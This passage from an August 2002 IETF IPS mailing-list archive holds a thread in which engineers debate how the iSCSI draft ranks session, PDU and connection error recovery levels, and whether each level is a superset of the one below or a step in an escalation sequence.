       cc:     =  =20   =
      =  Subject:=20        iSCSI question

      =



Hi,

I have a question regarding the hierarchy = of error=20 recovery.
Section 6.13 mentions the hierarchy as:

2: = Connection=20 recovery
1: Digest failure recovery
0: Session = recovery

And=20 it states that the higher levels are a superset of the
lower = levels and=20 that the level of complexity increases from = 0->1->2.

Couple=20 of questions:

1) How is digest failure recovery done? by=20 retransmission of PDUs?
2) Why is the connection recovery a = superset of=20 session recovery
and more complex?
3) It seems to me the = order=20 should be:

2: Session recovery
1: Connection = recovery
0:=20 Digest failure recovery


I appreciate any=20 insight.

Thanks,
-Shahram



------=_NextPart_000_00FA_01C23EE0.EE59BC90-- From owner-ips@ece.cmu.edu Thu Aug 8 17:13:38 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA27179 for ; Thu, 8 Aug 2002 17:13:38 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g78Kuet15306 for ips-outgoing; Thu, 8 Aug 2002 16:56:40 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lucy.trebia.com ([65.192.191.151]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g78Kuco15301 for ; Thu, 8 Aug 2002 16:56:38 -0400 (EDT) Received: from NEMETZ ([192.168.100.207]) by lucy.trebia.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id PV0AD6SH; Thu, 8 Aug 2002 16:56:28 -0400 Message-ID: <00b501c23f1e$110dc8c0$cf64a8c0@nemetz> Reply-To: "Anshul Chadda" From: "Anshul Chadda" To: References: <4B6D09F3B826D411A67300D0B706EFDEB037D3@nt-exch-yow.pmc-sierra.bc.ca> Subject: Re: iSCSI question Date: Thu, 8 Aug 2002 16:56:24 -0400 Organization: Trebia Networks MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Isn't the error recovery hierarachy based on complexitiy?? * Session recovery(0)- some amount of code * Command/PDU recovery(1)- more code than for session recovery * Connection recovery(2) - even more code than for Command/PDU recovery This basis of hierarchy makes negotiation of ErrorRecoveryLevel easier between initiators and targets!! Anshul ----- Original Message ----- From: "Shahram Davari" To: "'Bill Studenmund'" Cc: ; ; ; Sent: Thursday, August 08, 2002 4:21 PM Subject: RE: iSCSI question > Hi Bill, > > Thanks for your reply. Please see my comments below: > > 1) I doubt that the session re-establishment code is simpler than PDU recovery code. > But think what you are saying is that, you need to have the session recovery anyway, so the PDU recovery is extra code. > 2) Even if that is the case, it has nothing to do with the error recovery hierarchy. > The error recovery hierarchy must show what recovery should be tried before the other ones. In other words it has to show how the recovery escalates. > 3) I think it should escalate as following: PDU -> Connection -> Session > > > Yours, > -Shahram > > > -----Original Message----- > > From: Bill Studenmund [mailto:wrstuden@wasabisystems.com] > > Sent: Thursday, August 08, 2002 3:59 PM > > To: Shahram Davari > > Cc: 'pat_thaler@agilent.com'; Julian_Satran@il.ibm.com; > > ips@ece.cmu.edu; > > owner-ips@ece.cmu.edu > > Subject: RE: iSCSI question > > > > > > On Thu, 8 Aug 2002, Shahram Davari wrote: > > > > > Pat, > > > > > > > > Thanks. I understand your point. Although terminating a > > session may be > > > easy, but, starting a new session requires new login, parameter > > > exchange, new connections establishment, authentication, etc. So I > > > wonder how is this any simpler than a simple PDU retransmit? > > > > It's simpler in terms of the code in both the initiator and target. > > > > That's how it's simpler. :-) > > > > Take care, > > > > Bill > > From owner-ips@ece.cmu.edu Thu Aug 8 17:15:19 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA27241 for ; Thu, 8 Aug 2002 17:15:19 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g78KnH214732 for ips-outgoing; Thu, 8 Aug 2002 16:49:17 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mother.pmc-sierra.bc.ca (mother.pmc-sierra.bc.ca [216.241.224.12]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id g78KnEo14721 for ; Thu, 8 Aug 2002 16:49:14 -0400 (EDT) Received: (qmail 4073 invoked by uid 104); 8 Aug 2002 20:49:08 -0000 Received: from Shahram_Davari@pmc-sierra.com by mother with qmail-scanner-1.00 (uvscan: v4.1.40/v4217. . Clean. Processed in 0.518282 secs); 08 Aug 2002 20:49:08 -0000 Received: from unknown (HELO hymir.pmc-sierra.bc.ca) (134.87.114.120) by mother.pmc-sierra.bc.ca with SMTP; 8 Aug 2002 20:49:07 -0000 Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251]) by hymir.pmc-sierra.bc.ca (jason/8.11.6) with ESMTP id g78Kn7w10317; Thu, 8 Aug 2002 13:49:07 -0700 (PDT) Received: by bby1exi01 with Internet Mail Service (5.5.2653.19) id ; Thu, 8 Aug 2002 13:49:13 -0700 Message-ID: <4B6D09F3B826D411A67300D0B706EFDEB037D5@nt-exch-yow.pmc-sierra.bc.ca> From: Shahram Davari To: Shahram Davari , "'Bill Studenmund'" Cc: "'pat_thaler@agilent.com'" , "'Julian_Satran@il.ibm.com'" , "'ips@ece.cmu.edu'" , "'owner-ips@ece.cmu.edu'" Subject: RE: iSCSI question Date: Thu, 8 Aug 2002 13:49:03 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: owner-ips@ece.cmu.edu Precedence: bulk I think I figured out were the problem (confusion) is. 1) Section 5.14 (recover classes) states: " The recovery scenarios detailed in the rest of this section are rep- resentative rather than exclusive. In every case, they detail the lowest class recovery that MAY be attempted. The implementer is left to decide under which circumstances to escalate to the next recovery class and/or what recovery classes to implement." 2) However, section 5.5 says: " a) Each level is a superset of the capabilities of the previous level. For example, Level 1 support implies supporting all capa- bilities of Level 0 and more. " This means that section 5.14, considers the recovery classes as disjoint, and permits escalating to higher level classes when needed, while setion 5.5 considers each class to be a superset/subset of another class. Which one is correct? Yours, -Shahram > -----Original Message----- > From: Shahram Davari > Sent: Thursday, August 08, 2002 4:21 PM > To: 'Bill Studenmund' > Cc: 'pat_thaler@agilent.com'; Julian_Satran@il.ibm.com; > ips@ece.cmu.edu; > owner-ips@ece.cmu.edu > Subject: RE: iSCSI question > > > Hi Bill, > > Thanks for your reply. Please see my comments below: > > 1) I doubt that the session re-establishment code is simpler > than PDU recovery code. > But think what you are saying is that, you need to have the > session recovery anyway, so the PDU recovery is extra code. > 2) Even if that is the case, it has nothing to do with the > error recovery hierarchy. > The error recovery hierarchy must show what recovery should > be tried before the other ones. In other words it has to show > how the recovery escalates. > 3) I think it should escalate as following: PDU -> Connection > -> Session > > > Yours, > -Shahram > > > -----Original Message----- > > From: Bill Studenmund [mailto:wrstuden@wasabisystems.com] > > Sent: Thursday, August 08, 2002 3:59 PM > > To: Shahram Davari > > Cc: 'pat_thaler@agilent.com'; Julian_Satran@il.ibm.com; > > ips@ece.cmu.edu; > > owner-ips@ece.cmu.edu > > Subject: RE: iSCSI question > > > > > > On Thu, 8 Aug 2002, Shahram Davari wrote: > > > > > Pat, > > > > > > > > Thanks. I understand your point. Although terminating a > > session may be > > > easy, but, starting a new session requires new login, parameter > > > exchange, new connections establishment, authentication, etc. So I > > > wonder how is this any simpler than a simple PDU retransmit? > > > > It's simpler in terms of the code in both the initiator and target. > > > > That's how it's simpler. :-) > > > > Take care, > > > > Bill > > > From owner-ips@ece.cmu.edu Thu Aug 8 17:16:19 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA27271 for ; Thu, 8 Aug 2002 17:16:14 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g78KfEI14108 for ips-outgoing; Thu, 8 Aug 2002 16:41:14 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from father.pmc-sierra.bc.ca (father.pmc-sierra.bc.ca [216.241.224.13]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id g78KfBo14097 for ; Thu, 8 Aug 2002 16:41:12 -0400 (EDT) Received: (qmail 17521 invoked by uid 104); 8 Aug 2002 20:41:06 -0000 Received: from Shahram_Davari@pmc-sierra.com by father with qmail-scanner-1.00 (uvscan: v4.1.40/v4217. . Clean. Processed in 1.117987 secs); 08 Aug 2002 20:41:06 -0000 Received: from unknown (HELO hymir.pmc-sierra.bc.ca) (134.87.114.120) by father.pmc-sierra.bc.ca with SMTP; 8 Aug 2002 20:41:04 -0000 Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251]) by hymir.pmc-sierra.bc.ca (jason/8.11.6) with ESMTP id g78Kf4w03626; Thu, 8 Aug 2002 13:41:04 -0700 (PDT) Received: by bby1exi01 with Internet Mail Service (5.5.2653.19) id ; Thu, 8 Aug 2002 13:41:10 -0700 Message-ID: <4B6D09F3B826D411A67300D0B706EFDEB037D4@nt-exch-yow.pmc-sierra.bc.ca> From: Shahram Davari To: "'Amir Shalit'" Cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu Subject: RE: iSCSI question Date: Thu, 8 Aug 2002 13:40:59 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C23F1B.E727D750" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C23F1B.E727D750 Content-Type: text/plain; charset="iso-8859-1" Amir, Which one requires more CPU processing? -Shahram -----Original Message----- From: Amir Shalit [mailto:amir@astutenetworks.com] Sent: Thursday, August 08, 2002 4:39 PM To: Shahram Davari Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: RE: iSCSI question Shahram, 1) Connection reassignment requires more than PDU retransmission to handle corner cases 2) Error recovery level 1&2 requires more buffering which takes space and lowers performance. If you support error recovery level 1 you might as well support level 2. Amir -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Shahram Davari Sent: Thursday, August 08, 2002 11:27 AM To: 'pat_thaler@agilent.com'; Julian_Satran@il.ibm.com Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: RE: iSCSI question Pat, Thanks. I understand your point. Although terminating a session may be easy, but, starting a new session requires new login, parameter exchange, new connections establishment, authentication, etc. So I wonder how is this any simpler than a simple PDU retransmit? Yours, -Shahram -----Original Message----- From: pat_thaler@agilent.com [mailto:pat_thaler@agilent.com] Sent: Thursday, August 08, 2002 2:19 PM To: Shahram Davari; Julian_Satran@il.ibm.com Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: RE: iSCSI question Shahram, Wen you start a new session, you don't recover any PDUs. All the iSCSI state died with the old session. iSCSI doesn't know the new session had any relationship to the old session. As Julian said, recovery at that point is up to the SCSI layer above iSCSI. It is up to SCSI to retry any commands that it wants to retry. When SCSI retries a command, iSCSI doesn't know it is a retry. To the iSCSI layer it is just like any other SCSI command it receives. Pat -----Original Message----- From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com] Sent: Wednesday, August 07, 2002 8:44 AM To: 'Julian Satran' Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: RE: iSCSI question Julian, To start a new session you need to start new connections and you need to support the PDU recovery. So how is that a subset of PDU and connection recovery? -Shahram (I will explain the detailed clarity issues in another email) -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Wednesday, August 07, 2002 11:34 AM To: Shahram Davari Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: RE: iSCSI question Session recovery is in fact leaving all recovery to SCSI - it drops everything and creates a new session. As for you comment on the clarity of chapter 5 at this stage it makes sense to be either specific or keep this type of comment out of this context. Julo Shahram Davari 08/07/2002 06:09 PM To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu Subject: RE: iSCSI question Julian, Thanks. I have read that section but it is not very clear. I also agree that Connection recovery requires everything in command recovery. But what about session recovery? isn't it a superset of both connection and command recovery? Yours, -Shahram -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Wednesday, August 07, 2002 11:03 AM To: Shahram Davari Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: Re: iSCSI question Sharam, You may want to go over the recovery chapter. It has detailed answers to all your questions. The superset/subset is based on functions you need for the next level. Session recovery drops real recovery to SCSI. Command recovery recovers from individual command errors without changing connection and the highest enable you to switch to a new connection and continue commands there. 2 requires everything in 1. Julo Shahram Davari Sent by: owner-ips@ece.cmu.edu 08/07/2002 05:17 PM To: ips@ece.cmu.edu cc: Subject: iSCSI question Hi, I have a question regarding the hierarchy of error recovery. Section 6.13 mentions the hierarchy as: 2: Connection recovery 1: Digest failure recovery 0: Session recovery And it states that the higher levels are a superset of the lower levels and that the level of complexity increases from 0->1->2. Couple of questions: 1) How is digest failure recovery done? by retransmission of PDUs? 2) Why is the connection recovery a superset of session recovery and more complex? 3) It seems to me the order should be: 2: Session recovery 1: Connection recovery 0: Digest failure recovery I appreciate any insight. Thanks, -Shahram ------_=_NextPart_001_01C23F1B.E727D750 Content-Type: text/html; charset="iso-8859-1"
Amir,
 
Which one requires more CPU processing?
 
-Shahram
-----Original Message-----
From: Amir Shalit [mailto:amir@astutenetworks.com]
Sent: Thursday, August 08, 2002 4:39 PM
To: Shahram Davari
Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu
Subject: RE: iSCSI question

Shahram,
 
1) Connection reassignment requires more than PDU retransmission to handle corner cases
 
2) Error recovery level 1&2 requires more buffering which takes space and lowers performance. If
   you support error recovery level 1 you might as well support level 2.
 
Amir
-----Original Message-----
From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Shahram Davari
Sent: Thursday, August 08, 2002 11:27 AM
To: 'pat_thaler@agilent.com'; Julian_Satran@il.ibm.com
Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu
Subject: RE: iSCSI question

Pat,
 
Thanks. I understand your point. Although terminating a session may be easy, but, starting a new session requires new login, parameter exchange, new connections establishment, authentication, etc. So I wonder how is this any simpler than a simple PDU retransmit?
 
Yours,
-Shahram
-----Original Message-----
From: pat_thaler@agilent.com [mailto:pat_thaler@agilent.com]
Sent: Thursday, August 08, 2002 2:19 PM
To: Shahram Davari; Julian_Satran@il.ibm.com
Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu
Subject: RE: iSCSI question

Shahram,
 
Wen you start a new session, you don't recover any PDUs. All the iSCSI state died with the old session. iSCSI doesn't know the new session had any relationship to the old session.
 
As Julian said, recovery at that point is up to the SCSI layer above iSCSI. It is up to SCSI to retry any commands that it wants to retry. When SCSI retries a command, iSCSI doesn't know it is a retry. To the iSCSI layer it is just like any other SCSI command it receives.
 
Pat
 
-----Original Message-----
From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
Sent: Wednesday, August 07, 2002 8:44 AM
To: 'Julian Satran'
Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu
Subject: RE: iSCSI question

Julian,
 
To start a new session you need to start new connections and you need to support
the PDU recovery. So how is that a subset of PDU and connection recovery?
 
 
-Shahram
 
(I will explain the detailed clarity issues in another email)
-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Wednesday, August 07, 2002 11:34 AM
To: Shahram Davari
Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu
Subject: RE: iSCSI question


Session recovery is in fact leaving all recovery to SCSI - it drops everything and creates a new session.
As for you comment on the clarity of chapter 5 at this stage it makes sense to be either specific
or keep this type of comment out of this context.

Julo


Shahram Davari <Shahram_Davari@pmc-sierra.com>

08/07/2002 06:09 PM

       
        To:        Julian Satran/Haifa/IBM@IBMIL
        cc:        ips@ece.cmu.edu, owner-ips@ece.cmu.edu
        Subject:        RE: iSCSI question

       


Julian,
 
Thanks. I have read that section but it is not very clear.
 
I also agree that Connection recovery requires everything in command recovery.
But what about session recovery? isn't it a superset of both connection and command recovery?
 
Yours,
-Shahram
-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Wednesday, August 07, 2002 11:03 AM
To: Shahram Davari
Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu
Subject: Re: iSCSI question


Sharam,

You may want to go over the recovery chapter.
It has detailed answers to all your questions.
The superset/subset is based on functions you need for the next level.

Session recovery drops real recovery to SCSI.
Command recovery recovers from individual command errors without
changing connection and the highest enable you to switch to a new connection and
continue commands there.

2 requires everything in 1.

Julo

Shahram Davari <Shahram_Davari@pmc-sierra.com>
Sent by: owner-ips@ece.cmu.edu

08/07/2002 05:17 PM

       
       To:        ips@ece.cmu.edu
       cc:        
       Subject:        iSCSI question

     



Hi,

I have a question regarding the hierarchy of error recovery.
Section 6.13 mentions the hierarchy as:

2: Connection recovery
1: Digest failure recovery
0: Session recovery

And it states that the higher levels are a superset of the
lower levels and that the level of complexity increases from 0->1->2.

Couple of questions:

1) How is digest failure recovery done? by retransmission of PDUs?
2) Why is the connection recovery a superset of session recovery
and more complex?
3) It seems to me the order should be:

2: Session recovery
1: Connection recovery
0: Digest failure recovery


I appreciate any insight.

Thanks,
-Shahram



------_=_NextPart_001_01C23F1B.E727D750-- From owner-ips@ece.cmu.edu Thu Aug 8 17:32:43 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA27619 for ; Thu, 8 Aug 2002 17:32:38 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g78LD0v16499 for ips-outgoing; Thu, 8 Aug 2002 17:13:00 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from msgbas1.cos.agilent.com (msgbas1x.cos.agilent.com [192.25.240.36]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g78LCuo16489; Thu, 8 Aug 2002 17:12:56 -0400 (EDT) Received: from msgrel1t.cos.agilent.com (msgrel1t.cos.agilent.com [130.29.152.157]) by msgbas1.cos.agilent.com (Postfix) with ESMTP id 140A18B5F; Thu, 8 Aug 2002 15:12:56 -0600 (MDT) Received: from axcsbh4.cos.agilent.com (axcsbh4.cos.agilent.com [130.29.152.145]) by msgrel1t.cos.agilent.com (Postfix) with SMTP id DB4C6636; Thu, 8 Aug 2002 15:12:51 -0600 (MDT) Received: from 130.29.152.145 by axcsbh4.cos.agilent.com (InterScan E-Mail VirusWall NT); Thu, 08 Aug 2002 15:12:50 -0600 Received: by axcsbh4.cos.agilent.com with Internet Mail Service (5.5.2653.19) id ; Thu, 8 Aug 2002 15:12:50 -0600 Message-ID: <1BEBA5E8600DD4119A50009027AF54A00D6433C9@axcs04.cos.agilent.com> From: pat_thaler@agilent.com To: Shahram_Davari@pmc-sierra.com, wrstuden@wasabisystems.com Cc: pat_thaler@agilent.com, Julian_Satran@il.ibm.com, ips@ece.cmu.edu, owner-ips@ece.cmu.edu Subject: RE: iSCSI question Date: Thu, 8 Aug 2002 15:12:48 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Hi Shahram, There isn't any session "re-establishment" code. There is session establishment code that has to be there for one to do anything and the recovery code would have something to decide to close the session and and whether to try to start the session establishment code. The question is how often will PDU recovery work. Look at various problems: A) The path breaks and routing doesn't switch things to another path. The TCP connection goes down. Recovery requires session or connection recovery and iSCSI knows it can't do path recovery. B) If there is a short lived problem in the path (noise burst, congestion drop, physical layer training, quick path change), then TCP will detect the drops and recover. The iSCSI layer won't see it. C) If the iSCSI payload is damaged when it is not protected by CRC and the TCP checksum doesn't catch the error, then iSCSI would see a PDU loss (assuming either that digests are on or that the error caused an error in a header field that prevents processing). PDU recovery can work for this situation. D) Another possibility is that there is a protocol state problem that has occurred at one end of the connection (could be due to an implementation bug or a soft memory error changing state information). PDU recovery wouldn't work here; depending on the exact problem it may require session recovery or connection recovery may work. However, the iSCSI initiator probably doesn't know whether it is in this case or case C so if it supports path recovery, it may try it. The worth of PDU recovery depends partly on how often case C occurs. If 99% of the failures are A and B, 1% are C and 9% are D, then one may be better off to go straight to connection or session recovery when iSCSI detects a need to recover. It isn't worth extra code, cost, and complexity to recover faster in 1% of the cases. Even if 5% of failure are due to C and 5% are due to D, it may not be desireable to attempt path recovery. Path recovery could recover the C failures quickly but it will delay recovery for the D failures because their resolution will wait for Path recovery to be tried and time out. It can be better to decrease the maximum delay for recovery rather than to speed some cases at the cost of delaying the slower recoveries Regards, Pat -----Original Message----- From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com] Sent: Thursday, August 08, 2002 1:21 PM To: 'Bill Studenmund' Cc: 'pat_thaler@agilent.com'; Julian_Satran@il.ibm.com; ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: RE: iSCSI question Hi Bill, Thanks for your reply. Please see my comments below: 1) I doubt that the session re-establishment code is simpler than PDU recovery code. But think what you are saying is that, you need to have the session recovery anyway, so the PDU recovery is extra code. 2) Even if that is the case, it has nothing to do with the error recovery hierarchy. The error recovery hierarchy must show what recovery should be tried before the other ones. In other words it has to show how the recovery escalates. 3) I think it should escalate as following: PDU -> Connection -> Session Yours, -Shahram > -----Original Message----- > From: Bill Studenmund [mailto:wrstuden@wasabisystems.com] > Sent: Thursday, August 08, 2002 3:59 PM > To: Shahram Davari > Cc: 'pat_thaler@agilent.com'; Julian_Satran@il.ibm.com; > ips@ece.cmu.edu; > owner-ips@ece.cmu.edu > Subject: RE: iSCSI question > > > On Thu, 8 Aug 2002, Shahram Davari wrote: > > > Pat, > > > > > Thanks. I understand your point. Although terminating a > session may be > > easy, but, starting a new session requires new login, parameter > > exchange, new connections establishment, authentication, etc. So I > > wonder how is this any simpler than a simple PDU retransmit? > > It's simpler in terms of the code in both the initiator and target. > > That's how it's simpler. :-) > > Take care, > > Bill > From owner-ips@ece.cmu.edu Thu Aug 8 17:50:48 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA28227 for ; Thu, 8 Aug 2002 17:50:48 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g78LM2817117 for ips-outgoing; Thu, 8 Aug 2002 17:22:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from father.pmc-sierra.bc.ca (father.pmc-sierra.bc.ca [216.241.224.13]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id g78LLxo17110 for ; Thu, 8 Aug 2002 17:21:59 -0400 (EDT) Received: (qmail 3492 invoked by uid 104); 8 Aug 2002 21:21:56 -0000 Received: from Shahram_Davari@pmc-sierra.com by father with qmail-scanner-1.00 (uvscan: v4.1.40/v4217. . Clean. Processed in 0.511868 secs); 08 Aug 2002 21:21:56 -0000 Received: from unknown (HELO hymir.pmc-sierra.bc.ca) (134.87.114.120) by father.pmc-sierra.bc.ca with SMTP; 8 Aug 2002 21:21:56 -0000 Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251]) by hymir.pmc-sierra.bc.ca (jason/8.11.6) with ESMTP id g78LLtw05013; Thu, 8 Aug 2002 14:21:55 -0700 (PDT) Received: by bby1exi01 with Internet Mail Service (5.5.2653.19) id ; Thu, 8 Aug 2002 14:22:02 -0700 Message-ID: <4B6D09F3B826D411A67300D0B706EFDEB037D6@nt-exch-yow.pmc-sierra.bc.ca> From: Shahram Davari To: "'Paul Koning'" Cc: ips@ece.cmu.edu Subject: RE: iSCSI question Date: Thu, 8 Aug 2002 14:21:51 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: owner-ips@ece.cmu.edu Precedence: bulk Paul, > But that's not what "hierarchy" refers to here. > > The hierarchy is one of increased capability, not increased > desperation. Session recovery is the minimum required; the additional > levels are optional capabilities in addition to the minimum. Each > higher level in the hierarchy is a superset of the one below. It all depends on the definition of these recovery classes. 1) If they are defined in a superset/subset fashion, then I agree that level of complexity increases as: Session->PDU->connection. Then I suggest changing texts in other parts of the draft such as section 5.14 to indicate that if you have the capabilities of class X, then you don't need to escalate to lower classes, because class X already has those capabilities itself. Also I suggest changing the hierarchy figure as following: + / \ / 2 \ +-----+ / 1,2 \ +---------+ / 0,1,2 \ +-------------+ 2) If they are defined as disjoint classes, then the hierarchy for complexity makes no sense. Rather you need a hierarchy for escalation or transition. Based on the emails that I have received so far it seems that the intent is the former definition. Yours, -Shahram From owner-ips@ece.cmu.edu Thu Aug 8 17:52:06 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA28293 for ; Thu, 8 Aug 2002 17:52:06 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g78LQIr17412 for ips-outgoing; Thu, 8 Aug 2002 17:26:18 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lion.ninthwonder.com (lion.ninthwonder.com [151.199.66.147]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g78LQGo17402; Thu, 8 Aug 2002 17:26:16 -0400 (EDT) Received: by lion.ninthwonder.com (Postfix, from userid 1021) id DF35C3070A; Thu, 8 Aug 2002 17:26:15 -0400 (EDT) Date: Thu, 8 Aug 2002 14:22:18 -0700 (PDT) From: Bill Studenmund X-X-Sender: To: Shahram Davari Cc: "'pat_thaler@agilent.com'" , "'Julian_Satran@il.ibm.com'" , "'ips@ece.cmu.edu'" , "'owner-ips@ece.cmu.edu'" Subject: RE: iSCSI question In-Reply-To: <4B6D09F3B826D411A67300D0B706EFDEB037D5@nt-exch-yow.pmc-sierra.bc.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk On Thu, 8 Aug 2002, Shahram Davari wrote: > I think I figured out were the problem (confusion) is. > > 1) Section 5.14 (recover classes) states: > > " The recovery scenarios detailed in the rest of this section are rep- > resentative rather than exclusive. In every case, they detail the > lowest class recovery that MAY be attempted. The implementer is left > to decide under which circumstances to escalate to the next recovery > class and/or what recovery classes to implement." > > > 2) However, section 5.5 says: > > " a) Each level is a superset of the capabilities of the previous > level. For example, Level 1 support implies supporting all capa- > bilities of Level 0 and more. " > > > This means that section 5.14, considers the recovery classes as disjoint, > and permits escalating to higher level classes when needed, while setion 5.5 considers each class to be a superset/subset of another class. > > Which one is correct? They both are. Looking at the list I see: - Within a command recovery - Within a connection recovery - Connection recovery - Session Recovery What isn't there is what error recovery level each option is required at. Adding that we get: Level Function 1 Within a command recovery 1 Within a connection recovery 2 Connection Recovery 0 Session recovery So that means depending on what error recovery level you are operating at (due to negotiations), you have a different number of options on this list. From your other note: > 1) I doubt that the session re-establishment code is simpler than PDU > recovery code. But think what you are saying is that, you need to have > the session recovery anyway, so the PDU recovery is extra code. For iSCSI, session recovery is simple. We kill the session and all tasks on it. We let the *SCSI* layer above us deal with retrying the commands. We don't. We close the socket and de-allocate all the buffers. Maybe the initiator trys to log in again automagically, but that's not required and even if it did, the SCSI layer above it still has to re-issue the commands. > 2) Even if that is the case, it has nothing to do with the error > recovery hierarchy. The error recovery hierarchy must show what > recovery should be tried before the other ones. In other words it has > to show how the recovery escalates. There is the hierarchy and the recovery level. The recovery level indicates what options are available in the hierarchy. > 3) I think it should escalate as following: PDU -> Connection -> Session It does. Note: I take "PDU" to mean within-command and within-connection recoveries. Error Recovery Level Hierarchy 0 Session 1 "PDU" -> Session ` 2 "PDU" -> Connection -> Session Take care, Bill From owner-ips@ece.cmu.edu Thu Aug 8 18:15:45 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA29110 for ; Thu, 8 Aug 2002 18:15:31 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g78LwHM19501 for ips-outgoing; Thu, 8 Aug 2002 17:58:17 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from msgbas2.cos.agilent.com (msgbas2x.cos.agilent.com [192.25.240.37]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g78LwGo19497 for ; Thu, 8 Aug 2002 17:58:16 -0400 (EDT) Received: from msgrel1t.cos.agilent.com (msgrel1t.cos.agilent.com [130.29.152.157]) by msgbas2.cos.agilent.com (Postfix) with ESMTP id 91A5E1FA7; Thu, 8 Aug 2002 15:58:14 -0600 (MDT) Received: from axcsbh6.cos.agilent.com (axcsbh6.cos.agilent.com [130.29.152.171]) by msgrel1t.cos.agilent.com (Postfix) with SMTP id B778F593; Thu, 8 Aug 2002 